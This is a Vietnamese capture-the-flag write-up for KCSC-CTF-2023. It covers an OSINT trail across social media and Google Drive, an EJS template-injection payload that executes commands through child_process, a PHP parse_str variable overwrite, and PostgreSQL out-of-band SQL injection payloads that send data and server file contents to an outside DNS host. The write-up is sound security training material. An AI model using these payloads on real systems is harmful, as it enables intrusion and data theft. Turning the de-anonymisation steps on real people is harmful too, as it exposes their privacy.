---
# System prepended metadata

title: KCSC-CTF-2023

---

# KCSC-CTF-2023
## MISC
![Imgur](https://i.imgur.com/dITZoWD.png)

Theo đề bài thì chúng ta có thể thấy justinccase2511 đã thay đổi toàn bộ thông tin trên mạng xã hội nhưng chúng ta tin rằng có thể tìm được các thông tin cũ của người này.
Dựa vào việc tìm các thông tin cũ, chúng ta sẽ có thể nghĩ ngay tới việc dùng WayBackMachine: https://archive.org/web/

Tuy nhiên do không có thông tin justinccase2511 đã sử dụng MXH nào nên ta không thể tìm được, ở đây chúng ta sẽ sử dụng WhatsMyName: https://whatsmyname.app/
![Imgur](https://i.imgur.com/q3FkPND.png)

Và bùmmm! Đưa chúng ta trở lại WayBackMachine:
![Imgur](https://i.imgur.com/hd9jn3c.png)

Sau khi tìm đc trang web cũ thì mình không có ý tưởng gì cả, cho đến khi nhận được hint từ tác giả:
![Imgur](https://i.imgur.com/SS8ltBQ.png)

Thực hiện luôn: Crtl+U
![Imgur](https://i.imgur.com/e5RQ5ac.png)

Sau khi lấy được ID thì thực hiện chuyển đổi từ ID twitter sang nick: https://tweeterid.com/
![Imgur](https://i.imgur.com/RJKc1eH.png)

Nick: @forgetm3n0w1592. Sau khi vào trang Twitter và thực hiện tìm kiếm một lúc, ta sẽ thấy có 1 DB khả nghi:
![Imgur](https://i.imgur.com/VnAVoBI.png)
![Imgur](https://i.imgur.com/3Ao2lHd.png)

Thực hiện tìm kiếm trang Sheet các dữ liệu chúng ta có nhưng đều bất thành, thì mình đã nghĩ người đăng trang Sheet này là ai ?? Để thực hiện xem được người đăng, chúng ta có 1 Trick:
Đầu tiên, thêm lối tắt trang Sheet về Drive của bản thân ta
![Imgur](https://i.imgur.com/sEH2Y2Y.png)

Sau đó vào lại Drive mình và check email của tác giả:
![Imgur](https://i.imgur.com/sKPyKWa.png)

Email: caduoi4953@gmail.com
Từ đây chúng ta sử dụng NameCheckUp để tìm các trang MXH có liên quan: https://namecheckup.com/full
![Imgur](https://i.imgur.com/Oe2R3YU.png)

Ra khá là nhiều kết quả nhưng có một chút hint cho phép bạn tìm đúng cái mình cần. Trong Twitter có 1 bức ảnh của justinccase chụp màn hình máy tính:
![Imgur](https://i.imgur.com/wPGmCu1.png)

Xem trên thanh Taskbar, ta có thể xác định được các ứng dụng là: Tumblr, Google Docs, Twitter (những ứng dụng ta đã đi qua). Truy cập vào Tumblr:
![Imgur](https://i.imgur.com/rnyXkDb.png)

Flag nằm ở avatar người dùng. Flag: `KCSC{3m4il_t0_TumbRL???_1b8ad0}`

### Chút cơm thêm:
![Imgur](https://i.imgur.com/fhXSdL3.png)


## WEB
### Valentine
Link wu: https://maoutis.github.io/writeups/Web%20Hacking/valentine/
Challenge cho chúng ta source code như sau:
```
.
├── public
│   ├── Dockerfile
│   ├── app.js
│   ├── docker-compose.yml
│   ├── flag.txt
│   ├── index.html
│   ├── package.json
│   └── readflag
└── public.zip
```
Ở `Dockerfile`, chúng ta thấy file `flag.txt` sẽ được copy đến root path cùng với file binary `readflag`:
```dockerfile
FROM node:lts-alpine
ENV NODE_ENV=production
WORKDIR /app

COPY package.json app.js index.html /app/
COPY flag.txt readflag /
RUN npm install

RUN mkdir views
RUN chown node:node views

RUN chown root:root /flag.txt && chmod 400 /flag.txt
RUN chown root:root /readflag && chmod 4555 /readflag

EXPOSE 3000

USER node
CMD node app.js
```
Source code trong `app.js`:
```javascript=
var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');

var app = express();
viewsFolder = path.join(__dirname, 'views');

if (!fs.existsSync(viewsFolder)) {
  fs.mkdirSync(viewsFolder);
}

app.set('views', viewsFolder);
app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({ extended: false }))

app.post('/template', function (req, res) {
  let tmpl = req.body.tmpl;
  let blacklist = ['<%', '%>', '[.', '.]', '(.', '.)', '{.', '.}', ',', '?', '!', '@', '#', '$', '%', '^', '&', '*', '-', '\\'] // safed keke
  blacklist.forEach(e => {
    if (tmpl.includes(e)) {
      res.status(400).send({ message: "don't hack me" })
    }
  })
  if (tmpl.includes('{{ name }}')) { // nếu tmpl có {{ name }} thì sẽ replace như dưới nhưng đồng nghĩa là ta có thể inject
    tmpl = tmpl.replace(/\{\{/g, '<%=')
    tmpl = tmpl.replace(/\}\}/g, '%>')
  } else {
    res.status(400).send({ message: "{{ name }} required!" })
  }
  let uuid;
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`views/${uuid}.ejs`))

  try {
    fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
  } catch (err) {
    res.status(500).send("Failed to write Valentine's card");
    return;
  }
  let name = req.body.name ?? '';
  return res.redirect(`/${uuid}?name=${name}`);
});

app.get('/:template', function (req, res) {
  let query = req.query;
  let template = req.params.template
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
    res.status(400).send("Not a valid card id")
    return;
  }
  if (!fs.existsSync(`views/${template}.ejs`)) {
    res.status(400).send('Valentine\'s card does not exist')
    return;
  }
  let parser = req._parsedUrl.query.split('&')
  for (let e of parser) {
    if (e.startsWith('settings')) {
      res.status(400).send('Don\'t cheatt')
    }
  }
  if (!query['name']) {
    query['name'] = ''
  }
  return res.render(template, query);
});

app.get('/', function (req, res) {
  return res.sendFile('./index.html', { root: __dirname });
});

app.listen(process.env.PORT || 3000);
```
Vào trong trang chính thì chúng ta sẽ thấy trang web cho chúng ta nhập template và name vào, sau đó render đến trang web hiện name ứng với cái template nhập:
![Imgur](https://i.imgur.com/0ERIO4x.png)
![Imgur](https://i.imgur.com/syjiS3H.png)

Đọc qua source code cùng với wu thì ta có thể thấy, lỗi bài này sẽ liên quan đến SSTI của EJS với mục tiêu là đọc `readflag`
Có khá nhiều cách khá hay ở trong bài WU kia nhưng mình sẽ chỉ những chỗ đã filter:
```javascript
let tmpl = req.body.tmpl;
let blacklist = ['<%', '%>', '[.', '.]', '(.', '.)', '{.', '.}', ',', '?', '!', '@', '#', '$', '%', '^', '&', '*', '-', '\\'] // safed keke
blacklist.forEach(e => {
if (tmpl.includes(e)) {
      res.status(400).send({ message: "don't hack me" })
}
})
```
Filter tất cả các dấu trong template của EJS -> dẫn tới không thể sử dụng "[. .]":
![Imgur](https://i.imgur.com/EzqLlnd.png)

Chặn sử dụng "settings":
```javascript
let parser = req._parsedUrl.query.split('&')
for (let e of parser) {
    if (e.startsWith('settings')) {
          res.status(400).send('Don\'t cheatt')
    }
}
```
![Imgur](https://i.imgur.com/hJNRvWi.png)

Ở bài này chúng ta sẽ lợi dụng một lỗi của bài này:
```javascript
if (tmpl.includes('{{ name }}')) { // nếu tmpl có {{ name }} thì sẽ replace như dưới nhưng đồng nghĩa là ta có thể inject
    tmpl = tmpl.replace(/\{\{/g, '<%=')
    tmpl = tmpl.replace(/\}\}/g, '%>')
} else {
    res.status(400).send({ message: "{{ name }} required!" })
  }
```
Payload:
```javascript
{{ name }} {{ process.mainModule.require('child_process').execSync('/readflag').toString() }}
```
![Imgur](https://i.imgur.com/CR4IzRa.png)
![Imgur](https://i.imgur.com/PFP4prQ.png)

Flag: `KCSC{https://www.youtube.com/watch?v=A5OLaBlQP9I}`

### Bypass Captcha
Một bài mà cách giải khá là dễ nhưng mình làm tốn khá nhiều thời gian bởi vốn kiến thức còn hạn hẹp.
Nhìn vào `config.php` ta có:
```php
<?php
$SITE_VERIFY = getenv('SITE_VERIFY');
$PASSWD = getenv('PASSWD');
$FLAG = getenv('FLAG');
$SITE_KEY = getenv('SITE_KEY');
$SECRET_KEY = getenv('SECRET_KEY');
parse_str($_SERVER['QUERY_STRING']);
error_reporting(0);
```
Để giải bài này chúng ta cần ghi đè vào biến `$PASSWD` bằng cách tận dụng hàm `parse_str` nhận các biến query từ Sever.
Chỉnh sửa một chút:
![Imgur](https://i.imgur.com/PdFYEuc.png)

Gửi đi và nhận flag. Flag: `KCSC{Bypass_Turnstile_Cloudflare_1e22c0f8}`

### Petshop
Một bài khá hay liên quan đến SQLi ở trong giải này.
![Imgur](https://i.imgur.com/LnWiT93.png)

Recon một chút quanh trang web thì chúng ta sẽ tìm được 3 parameter đầu vào, mình sẽ đi thẳng vào para chính gây ra SQLi.
Với parameter `sp`, chúng ta sẽ có 1 chút góc nhìn như sau:
```
Input: /?sp = 1    -> no warning
Input: /?sp = a    -> no warning
Input: /?sp = a'    -> no warning
Input: /?sp = 1'    -> warning
Input: /?sp = b    -> warning
```
![Imgur](https://i.imgur.com/gMwKCCr.png)

Ủaaa... Kì vậy trời @@. Vậy là sau khi tìm hiểu một lúc thì mình cũng nhận ra cách hoạt động của trang web. Do có thể sử dụng bất đồng bộ hoặc là chạy một số task ngầm nên error cho câu query trước sẽ được trả về cho trang web lúc sau. Để test xem câu query đúng chưa, chúng ta có thể điền vào rồi thực hiện reload lại trang.
Sau khi hiểu được cách thức hoạt động, chúng ta sẽ đi tìm `số cột` của bảng hiện hành:
```sql
' ORDER BY 1 --    ->no warning
' ORDER BY 2 --    ->no warning
' ORDER BY 3 --    ->warning
```
Vậy Table này trả về 2 cột.
Tìm `DBMS`:
```sql
' UNION SELECT NULL,@@version    ->warning
' UNION SELECT NULL,version()    ->no warning
```
Vậy DBMS là `PostgreSQL`
Do không thể lấy dữ liệu, xác định nơi chưa flag ở trong nên bài này chúng ta sẽ sử dụng `Out-of-band Attack (OOB)`
Googling một chút thì chúng ta sẽ sử dụng `dblink_connect()`
1. Ta có thể sử dụng DNS với việc control được đầu vào của DNS gửi đi
2. Có thể kết nối với Database bên ngoài và truy vấn ngược về nó

Về cách 2 mọi người có thể tham khảo ở đây: https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md
Sử dụng Requestrepo để tạo DNS:
![Imgur](https://i.imgur.com/t9Td9Mq.png)

Với việc control được host, chúng ta có thể lấy được dữ liệu mình cần. Payload:
```sql
' UNION SELECT NULL,dblink_connect(CONCAT('host=',(SELECT table_name FROM information_schema.tables LIMIT 1),'.mfllaw5i.requestrepo.com user=nem password=nem')) --
```
![Imgur](https://i.imgur.com/6P88yk0.png)

Đã thành công xác định được 1 bảng đầu tiên (việc mình đặt LIMIT 1 để tránh việc trả về quá nhiều bảng dẫn đến việc vượt quá độ dài cho phép của URL)
Tiếp tục truy vấn xác định các bảng còn lại:
![Imgur](https://i.imgur.com/wqfscYt.png)

Các bảng còn lại đều là bảng detail của PostgreSQL nên ở bài này chúng ta sẽ truy vấn bảng `search`.Payload:
```sql
' UNION SELECT NULL,dblink_connect(CONCAT('host=',(SELECT column_name FROM information_schema.columns WHERE table_name='searches' LIMIT 1),'.mfllaw5i.requestrepo.com user=nem password=nem')) --
```

![Imgur](https://i.imgur.com/ik3EDcs.png)

Tìm được 2 cột là `id,search`. Đoán việc dữ liệu liên quan đến flag sẽ nằm ở cột `search` nên mình sẽ thực hiện truy vấn dữ liệu đến cột này.Payload:
```sql
' UNION SELECT NULL,dblink_connect(CONCAT('host=',(SELECT search FROM searches),'.mfllaw5i.requestrepo.com user=nem password=nem')) --
```

![Imgur](https://i.imgur.com/Z1b8W6r.png)

DecodeBase64 và chúng ta sẽ nhận được `/var/lib/postgresql/data/sqlOutOfBand`
Do file không có đuôi nên có thể là file binary, mình sẽ sử dụng `pg_read_binary_file()`.Payload:
```sql
' UNION SELECT NULL,dblink_connect(CONCAT('host=',(SELECT pg_read_binary_file('/var/lib/postgresql/data/sqlOutOfBand')),'.mfllaw5i.requestrepo.com user=nem password=nem')) --
```

![Imgur](https://i.imgur.com/HHBp9ZS.png)

Decode ASCIIhex ra và được flag. Flag: `KCSC{Yeah_Ban_Lam_Duoc_Roi!!!}`


